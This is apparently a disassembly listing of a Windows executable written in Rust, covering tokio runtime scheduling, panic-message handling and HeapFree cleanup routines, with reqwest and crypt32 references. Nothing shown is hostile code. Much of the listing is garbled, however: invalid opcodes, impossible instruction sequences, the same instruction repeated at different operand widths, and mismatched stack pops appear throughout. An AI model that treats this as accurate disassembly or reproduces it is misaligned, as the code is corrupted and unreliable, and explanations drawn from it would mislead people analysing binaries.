mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x108], rcx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x30]
jmp 0x1400c18a0
test rax, rax
je 0x1400c188e
mov rcx, qword [rsp + 0x58]
call qword [rax + 0x18]
cmp dword [rsp + 0x128], 2
je 0x1400c18a5
lea rcx, [rsp + 0x128]
call fcn.1400c2d20
movsd xmm6, qword [rsp + 0xd0]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c1902
test eax, eax
jne 0x1400c1e74
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
je 0x1400c1d91
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11e], 2
cmp dword [rax + 0x110], 0
jne 0x1400c194a
call fcn.1400e4500
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x110], 1
movlps qword [rax + 0x114], xmm6
lea rcx, [rsp + 0xb8]
call fcn.1400e6cd0
mov rax, qword [rsp + 0xb8]
cmp rax, 2
je 0x1400c19dd
test rax, rax
je 0x1400c19c2
mov rax, qword [rsp + 0xc0]
lock dec qword [rax]
jne 0x1400c19dd
lea rcx, [rsp + 0xc0]
call fcn.140068e50
jmp 0x1400c19dd
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400c19ea
lea rcx, [rsp + 0x38]
call fcn.140069ba0
jmp 0x1400c19ea
mov rax, qword [rsp + 0xc0]
lock dec qword [rax]
jne 0x1400c19dd
lea rcx, [rsp + 0xc0]
call fcn.140069ba0
lea rcx, [rsp + 0x1c0]
call fcn.1400c2e10
lea rcx, [rsp + 0x180]
call fcn.1400e6cd0
mov rax, qword [rsp + 0x180]
cmp rax, 2
je 0x1400c1a3a
lea rcx, [rsp + 0x188]
test rax, rax
je 0x1400c1a27
mov rax, qword [rsp + 0x188]
lock dec qword [rax]
jne 0x1400c1a3a
call fcn.140068e50
jmp 0x1400c1a3a
mov rax, qword [rsp + 0x188]
lock dec qword [rax]
jne 0x1400c1a3a
call fcn.140069ba0
movups xmm0, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0xd8]
movups xmm1, xmmword [rsp + 0xe8]
movups xmm2, xmmword [rsp + 0xf8]
movups xmm3, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x1f0], xmm3
movaps xmmword [rsp + 0x1e0], xmm2
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
lea rcx, [rsp + 0x1c0]
call fcn.1400f3480
cmp qword [rsp + 0x1c0], 0
jne 0x1400c1ab6
xor ecx, ecx
xchg qword [rsp + 0x1e8], rcx
test rcx, rcx
je 0x1400c1ab6
call fcn.140003a80
cmp qword [rsp + 0x1f0], 0
lea rcx, [rsp + 0x1f8]
je 0x1400c1ade
mov rax, qword [rsp + 0x1f8]
lock dec qword [rax]
jne 0x1400c1af1
call fcn.140068e50
jmp 0x1400c1af1
mov rax, qword [rsp + 0x1f8]
lock dec qword [rax]
jne 0x1400c1af1
call fcn.140069ba0
lea rsi, [rsp + 0x200]
mov rcx, rsi
call fcn.1400ed390
mov rax, qword [rsp + 0x200]
lock dec qword [rax]
jne 0x1400c1b17
mov rcx, rsi
call fcn.1400055f0
mov rsi, qword [rsp + 0x208]
test rsi, rsi
je 0x1400c1b65
mov rax, qword [rsi + 0x30]
nop dword [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c1b30
and eax, 0xa
cmp eax, 8
jne 0x1400c1b52
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c1b65
mov rcx, qword [rsp + 0x208]
call fcn.140004a50
movaps xmm6, xmmword [rsp + 0x570]
add rsp, 0x588
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401048f0
lea rcx, str.core_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140104a60
invalid
add byte [rax - 0x73], cl
or eax, 0x87ba4
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401048f0
cmp qword [rsp + 0x40], 0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x108], rcx
jne 0x1400c1c25
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x40], 0xffffffffffffffff
test rcx, rcx
jne 0x1400c1caf
xor eax, eax
jmp 0x1400c1cbc
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401486c8]
lea r8, [rsp + 0x88]
mov edx, 0x2b
call fcn.1401049b0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401048f0
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x1b0], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x1b8], rax
lea rax, [0x140149010]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0xa8], 0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x88]
call fcn.140104620
call fcn.140003a80
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
call fcn.1400c2d20
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
xor al, ch
push rax
adc byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x7c2c9
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
lea rax, [0x14016f768]
jbe 0x1400c1cca
or al, byte [rax]
jbe 0x1400c1cca
or al, byte [rax]
mov qword [rsp + 0x98], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x88]
call fcn.140104620
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
invalid
lea r9, [0x14013b9b8]
or eax, 0x79c85
lea r8, [rsp + 0x88]
mov edx, 0x1b
add byte [rax], al
add byte [rdx + 0x1b], bh
call fcn.1401049b0
ud2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.140104950
mov ecx, 8
mov edx, 0x10
call fcn.140104380
mov ecx, 8
mov edx, 8
call fcn.140104380
call fcn.14010df10
mov ecx, 8
mov edx, 0x70
call fcn.140104380
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401048f0
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x1401494a0]
mov edx, 0x2e
call fcn.1401046f0
lea rcx, [rsp + 0x398]
call fcn.1400c2e10
add byte [rax], al
add byte [rax], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_park_thread
lea r9, [0x14013b9b8]
lea r8, [rsp + 0x88]
mov edx, 0x15
call fcn.1401049b0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x1d0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadmod.rs
lea rcx, [rsp + 0x1c0]
call fcn.140104620
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x1d0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x1c0]
call fcn.140104620
lea rax, [0x140148ad8]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadlocal.rs
lea r9, [0x1401486c8]
lea r8, [rsp + 0x88]
mov edx, 0x46
call fcn.1401049b0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rax, str.not_a_CurrentThread_handle
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rax, str.expected__CurrentThread::Context_
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x98], rax
movups xmmword [rsp + 0xa0], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x88]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401048f0
lea rcx, str.core_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140104a60
mov rcx, r12
call fcn.140003a80
lea rax, [0x140148ad8]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadlocal.rs
lea r9, [0x14013b9b8]
lea r8, [rsp + 0x88]
mov edx, 0x46
call fcn.1401049b0
mov ecx, 7
int 0x29
ud2
mov rcx, rax
test cl, 4
jne 0x1400c2efa
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x40], rdx
cmpxchg dword [rdi + 0x40], edx
cmpxchg dword [rdi + 0x40], edx
jne 0x1400c2ee0
and ecx, 5
cmp ecx, 1
jne 0x1400c2f0d
mov rax, qword [rdi + 0x30]
mov rcx, qword [rdi + 0x38]
cmp r15b, r15b
push rax
invalid
cmp r15b, r15b
push rax
adc al, dh
dec qword [rdi]
lock dec qword [rdi]
jne 0x1400c2f1f
mov rcx, qword [rsi + 0x1a0]
call fcn.1400bfa90
retf
invalid
invalid
retf
mov r15, qword [rsi + 0x198]
cmp byte [r15 + 0x1b8], 0
jne 0x1400c2f38
mov byte [r15 + 0x1b8], 1
lock or qword [r15 + 0x1c0], 1
lea rcx, [r15 + 0x180]
call fcn.1400f3d20
lea rdi, [r15 + 0x1a0]
lea rbx, [r15 + 0x80]
lea r14, [rsp + 0x28]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400bfdf0
cmp dword [rsp + 0x28], 1
ja 0x1400c2fcd
lock sub qword [r15 + 0x1c0], 2
add byte [rdx], al
jb 0x1400c2ff8
cmp dword [rsp + 0x28], 1
ja 0x1400c2f60
pcmpeqw mm1, qword [rax + rcx*2]
mov ecx, dword [rsi + 0x1b0]
call fcn.1400bfd30
mov rax, qword [rsi + 0x1a8]
lock dec qword [rax]
jne 0x1400c2fdf
add rsi, 0x1a8
mov rcx, rsi
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.1400bed50
lock dec qword [r15]
jne 0x1400c2fdf
mov rcx, qword [rsi + 0x198]
call fcn.1400bfd30
int 0xff
invalid
int 0xff
call qword [rax + 0x40c48148]
add dword [rax], eax
add byte [rbx + 0x5f], bl
nop
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 7
int 0x29
ud2
add ch, cl
sub dword [rdi], ecx
or ecx, esp
int3
je case.0x14009e6a0.421
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x60], 0
jne 0x1400c308a
mov rdi, qword [rsi + 0x68]
mov rbx, qword [rsi + 0x70]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c308a
cmp qword [rbx + 0x10], 0x11
jb 0x1400c3078
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x4c376
add byte [rax - 0x75], cl
mov esi, 0x98
add byte [rax], al
mov rdi, qword [rsi + 0x98]
add byte [rax], al
mov rbx, qword [rsi + 0xa0]
test rbx, rbx
test ebx, ebx
add byte [rax - 0x7b], cl
invalid
test ebx, ebx
je 0x1400c30bf
and al, byte [rbp + 0x31]
test byte [rbx + rcx*4 + 0x3d], 0x19
sbb ecx, eax
add al, 0
nop word [rax + rax]
xor r14d, r14d
mov r15, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
sbb ecx, eax
add al, 0
sbb ecx, eax
add al, 0
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rdx - 0x75], cl
or al, 0xf7
mov rcx, qword [rdi + r14*8]
inc r14
call r15
cmp rbx, r14
jne 0x1400c30b0
cmp qword [rsi + 0x90], 0
je 0x1400c30db
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x14017d208]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x158]
test rdi, rdi
je 0x1400c314e
pop rax
add dword [rax], eax
add byte [rax - 0x7b], cl
push qword [rdi + riz*2 + 0x48]
mov ebx, dword [rdi + 0x58]
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x1400c311e
mov r14, qword [rdi + 0x60]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
or byte [rax], al
je 0x1400c311e
cmp qword [r14 + 0x10], 0x11
jb 0x1400c310c
mov rbx, qword [rbx - 8]
clc
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
cmc
movabs al, byte [0xffd88949d231000b]
mov r8, rbx
invalid
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
fdivr st(7)
adc eax, 0x4c2e2
mov rax, qword [rdi]
mov eax, dword [rdi]
shl rax, 1
test rax, rax
test eax, eax
loopne case.0x140069415.366
test eax, eax
sal byte [rbx + rdx + 0x4c], 0x8b
or byte [r8 - 0x75], r9b
je 0x1400c313c
mov r8, qword [rdi + 8]
mov rcx, qword [0x14017d208]
or eax, 0xba0d4
or eax, 0xba0d4
add byte [rcx], dh
sar bh, cl
adc eax, 0x4c2c4
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
mov eax, edi
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x120]
call fcn.140002250
mov rax, qword [rsi + 0x160]
invalid
add dword [rax], eax
add byte [rax - 0x7b], cl
invalid
je 0x1400c318a
invalid
lock dec qword [rax]
jne 0x1400c318a
invalid
invalid
mov rcx, qword [rsi + 0x160]
mov ecx, dword [rsi + 0x160]
mov rdx, qword [rsi + 0x168]
add rsp, 0x20
and byte [rbx + 0x5f], bl
add dword [rax], eax
add byte [rax - 0x7d], cl
invalid
and byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
jmp fcn.1400049d0
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
invalid
pop rsi
pop r15
ret
int3
int3
int3
cmp dword [rax - 0x75], ecx
adc r8b, r14b
dec qword [rax]
jne 0x1400c31bf
lea rcx, [rdi + 0x10]
call fcn.140068e50
xor ecx, ecx
xchg qword [rdi + 0x20], rcx
test rcx, rcx
je 0x1400c31cf
call fcn.140068ff0
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400c31f5
lock dec qword [r8 + 8]
jne 0x1400c31f5
mov rcx, qword [0x14017d208]
movabs al, byte [0x28c48348d231000b]
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add al, 0
add al, 0
nop
add rsp, 0x28
pop rdi
pop rsi
ret
sub esp, 0x28
mov rsi, rcx
movzx eax, byte [rcx + 0x298]
mov dh, 0x81
cwde
add al, byte [rax]
invalid
test eax, eax
je case.0x140094a12.192
invalid
je 0x1400c3198
cmp eax, 3
jne 0x1400c32e5
clc
add ecx, dword [rdi]
test eax, ecx
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsi + 0x148]
lea rcx, [rsi + 0x148]
call fcn.1400c32f0
mov rdi, qword [rsi + 0x140]
mov esi, 0x140
add byte [rax - 0x75], cl
mov esi, 0x140
add dword [rax], eax
add byte [rax - 0x7b], cl
push qword [rdx + rcx*2 + 0x48]
mov eax, dword [rdi + 0x30]
invalid
invalid
test rdi, rdi
je 0x1400c327f
mov rax, qword [rdi + 0x30]
xor byte [r15], r9b
xor byte [rdi], cl
nop dword [rax]
invalid
mov rcx, rax
test cl, 4
jne 0x1400c325a
mov rdx, rcx
or rdx, 2
mov rax, rcx
enter 0x48f0, 0xf
mov cl, 0x57
invalid
jne 0x1400c3240
and ecx, 5
cmp ecx, 1
jne 0x1400c326d
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c327f
mov rcx, qword [rsi + 0x140]
add byte [rax], al
call fcn.1400c00b0
mov byte [rsi + 0x299], 0
jmp 0x1400c32e5
mov rcx, rsi
call fcn.1400c32f0
mov rdi, qword [rsi + 0x138]
test rdi, rdi
je 0x1400c32e5
mov rax, qword [rdi + 0x30]
mov rcx, rax
test cl, 4
jne 0x1400c32ba
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
cmpxchg qword [rdi + 0x30], rdx
cmpxchg qword [rdi + 0x30], rdx
jne 0x1400c32a0
and ecx, 5
cmp ecx, 1
jne 0x1400c32cd
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
mov ecx, dword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c32e5
nop
add rsp, 0x28
invalid
sub byte [rdi + 0x5e], bl
ret
invalid
mov rdi, qword [rcx]
cmp rdi, 2
jne 0x1400c3371
mov esi, dword [rsi + 8]
test rsi, rsi
je 0x1400c34bb
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x1400c334a
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c334a
cmp qword [rbx + 0x10], 0x11
jb 0x1400c3338
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x4c0b6
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x1400c34e5
loopne 0x1400c3399
mov r8, qword [rsi + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c34e5
mov esi, 0xf8
or dh, byte [rdx + 0x20]
cmp qword [rsi + 0x108], 0
je 0x1400c339a
mov r8, qword [rsi + 0x100]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x88], 0
je 0x1400c33ba
mov r8, qword [rsi + 0x90]
add byte [rax], al
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add al, 0
invalid
rol byte [rax + rax], 0x48
add byte [rax - 0x73], cl
sub al, r13b
sub eax, 0x48fff8f1
dec dword [rax - 0x7b]
invalid
lea rcx, [rsi + 0x28]
lea ecx, [rsi + 0x28]
call fcn.1400524f0
dec dword [rax - 0x7b]
push qword [rax + rbx + 0x48]
invalid
invalid
test rdi, rdi
je 0x1400c33e0
sbb byte [rax - 0x75], cl
or byte [rax - 0x7b], r9b
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
or byte [rax - 0x7b], cl
test rax, rax
je 0x1400c33e0
sal byte [rdi + rcx + 0x48], 0x8d
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
and byte [rax - 0x75], r9b
push rsi
adc byte [rbx + rcx*4 + 0x46], cl
mov r8, qword [rsi + 0x18]
call qword [rax + 0x10]
mov rdi, qword [rsi + 0xe8]
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
call qword [rax + 0x10]
mov rdi, qword [rsi + 0xe8]
mov rbx, qword [rsi + 0xf0]
mov ebx, dword [rsi + 0xf0]
sahf
lock add byte [rax], al
add byte [rax - 0x7b], cl
invalid
test rbx, rbx
je 0x1400c3421
lea r14, [rdi + 8]
mov r15, qword [sym.imp.kernel32.dll_HeapFree]
cmp eax, 0x4c002
cmp eax, 0x4c002
jmp case.0x1400937fa.199
add r14, 0x58
dec rbx
je 0x1400c3421
cmp qword [r14 - 8], 0
je 0x1400c3400
mov r8, qword [r14]
mov rcx, qword [0x14017d208]
popfq
or eax, dword [rax]
invalid
add byte [rcx], dh
rol byte [rcx - 1], cl
xlatb
xor edx, edx
call r15
jmp 0x1400c3400
cmp qword [rsi + 0xe0], 0
je 0x1400c343d
mov esi, 0xe0
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x14017d208]
popfq
or eax, dword [rax]
mov rcx, qword [0x14017d208]
popfq
or eax, dword [rax]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x110]
lock dec qword [rax]
xchg byte [rax], dl
add dword [rax], eax
add al, dh
dec qword [rax]
jne 0x1400c3456
lea rcx, [rsi + 0x110]
add byte [rax], al
call fcn.1400bed50
cli
mov eax, 0x8b48ffff
invalid
dec dword [rax - 0x75]
mov esi, 0x118
invalid
mov rdi, qword [rsi + 0x118]
mov rbx, qword [rsi + 0x120]
sahf
and byte [rcx], al
add byte [rax], al
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c348d
invalid
sbb eax, 0x107b8348
adc dword [rdx + 4], esi
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400c347b
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
jg 0x1400c3473
mov rcx, qword [0x14017d208]
popfq
or eax, dword [rax]
xor edx, edx
mov r8, rdi
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
jae 0x1400c344a
add al, 0
mov rsi, qword [rsi + 0x130]
mov esi, dword [rsi + 0x130]
mov dh, 0x30
add dword [rax], eax
add byte [rax - 0x7b], cl
test rsi, rsi
je 0x1400c34bb
mov rcx, rsi
test rsi, rsi
je 0x1400c34bb
mov rcx, rsi
call fcn.1400ece20
add al, byte [rax]
lea rcx, [rsi + 8]
cmp qword [rsi], 0
invalid
invalid
or byte [rax - 0x7d], r9b
add byte ds:[rsp + rbx + 0x48], dh
add byte [rsp + rbx + 0x48], dh
je 0x1400c34c7
mov rax, qword [rcx]
mov eax, dword [rcx]
lock dec qword [rax]
jne case.0x14009a63c.148
invalid
call fcn.140068e50
jmp case.0x14009a63c.148
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rdi
ret
mov rax, qword [rcx]
lock dec qword [rax]
jne case.0x14009a63c.148
cli
dec dword [rax - 0x75]
mov rax, qword [rsi + 0x48]
test rax, rax
mov rax, qword [rsi + 0x48]
test rax, rax
test rax, rax
je 0x1400c34e5
mov rcx, qword [rsi + 0x50]
mov ecx, dword [rsi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
mov eax, esi
mov eax, esi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
std
invalid
add al, 0
std
mov esi, 0xcccc0004
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x308
movaps xmmword [rsp + 0x2f0], xmm6
and al, 0xf0
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rax, qword [rcx]
jmp 0x1400c354a
and al, 0xf0
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rcx, rax
and rcx, 0xfffffffffffffff8
ror dword [rax - 0x7d], 0xe1
clc
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x1400c3575
sub ebp, dword [rax + 0x62840f04]
add al, byte [rax]
add byte [rax + 0x48da7403], ch
test al, 4
je 0x1400c37b4
add al, 0xf
test byte [rdx + 2], ah
add byte [rax], al
test al, 3
je case.0x1400b5866.22
cmp rax, 0x3f
cmp eax, 0x3f
invalid
jbe 0x1400c37cc
xchg byte [rdx + rax], ch
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
ror byte [rax - 0x7d], 0xf9
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
xchg edx, eax
invalid
ror byte [rax - 0x7d], 0xf9
setb dl
xchg edx, eax
ret 0xca80
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x1400c354a
invalid
invalid
movzx eax, dl
lea rcx, [0x140174c28]
lea ecx, [0x140174c28]
ret 0x8d48
lea ecx, [0x140174c28]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
cmp dword [rsi + 0x30], 3
jae 0x1400c37e4
xor al, byte [rdx]
add byte [rax], al
xor al, byte [rdx]
add byte [rax], al
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
